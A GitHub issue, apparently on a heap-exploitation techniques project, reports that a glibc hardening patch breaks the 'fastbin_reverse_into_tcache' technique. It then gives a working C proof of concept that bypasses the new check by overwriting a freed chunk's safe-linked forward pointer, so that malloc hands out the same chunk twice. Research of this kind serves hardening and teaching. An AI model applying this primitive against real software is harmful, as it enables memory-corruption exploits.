Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fastbin_reverse_into_tcache no longer works on glibc master #204

Open
kenballus opened this issue Feb 14, 2025 · 0 comments
Open

fastbin_reverse_into_tcache no longer works on glibc master #204

kenballus opened this issue Feb 14, 2025 · 0 comments

Comments

@kenballus
Copy link
Contributor

...because I wrote a patch :)

The patch adds a check when moving chunks from fastbin to tcache that the size field in the chunks makes sense.

Even with this patch, you can still pull off a similar attack by making the fastbin into a loop as follows:

#include <stdint.h>
#include <stdlib.h>

int main(void) {
    void *p[15];
    // Make 15 allocations
    for (int i = 0; i < 15; i++) {
        p[i] = malloc(1);
    }

    // Free them all
    for (int i = 0; i < 15; i++) {
        free(p[i]);
    }

    // tcache:  p[6] -> p[5] -> p[4] -> p[3] -> p[2] -> p[1] -> p[0]
    // fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7]

    // Clear out the tcache
    for (int i = 0; i < 7; i++) {
        void *unused = malloc(1);
    }

    // tcache:  (empty)
    // fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7]

    // Change p[7]'s forward link from PROTECT_PTR(NULL) to PROTECT_PTR(p[13])
    uint64_t *const p7_chunk = (uint64_t *)p[7] - 2;
    p7_chunk[2] =
        (uintptr_t)(((uint64_t *)p[13]) - 2) ^ ((uintptr_t)p7_chunk >> 12);

    // tcache:  (empty)
    //                     +-------------------------------------------------------+
    //                     |                                                       |
    //                     \/                                                      |
    // fastbin: p[14] -> p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7] -+

    // Make a single allocation. This will cause the first 7 entries in the
    // fastbin to be moved into the tcache. It also reverses their order.
    void *unused = malloc(1);

    // i.e., first
    // tcache:  (empty)
    //            +-------------------------------------------------------+
    //            |                                                       |
    //            \/                                                      |
    // fastbin: p[13] -> p[12] -> p[11] -> p[10] -> p[9] -> p[8] -> p[7] -+

    // then,
    // tcache:  p[7] -> p[8] -> p[9] -> p[10] -> p[11] -> p[12] -> p[13]
    // fastbin: p[13]

    // Because p[13] is last in the tcache list, it gets PROTECT_PTR(NULL)
    // written into its fd field. This is convenient, because it means that
    // other than the fact that p[13] is present in both the fastbin and tcache,
    // the heap is in a *totally valid state*. In other words, the attack cleans
    // up after itself :)

    // Clear out the tcache again, except the last
    for (int i = 0; i < 6; i++) {
        void *unused = malloc(1);
    }

    // tcache:  p[13]
    // fastbin: p[13]

    // Should get p[13]
    void *poisoned_1 = malloc(1);

    // tcache:  (empty)
    // fastbin: p[13]

    // Should get p[13]
    void *poisoned_2 = malloc(1);
    return poisoned_1 != poisoned_2;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant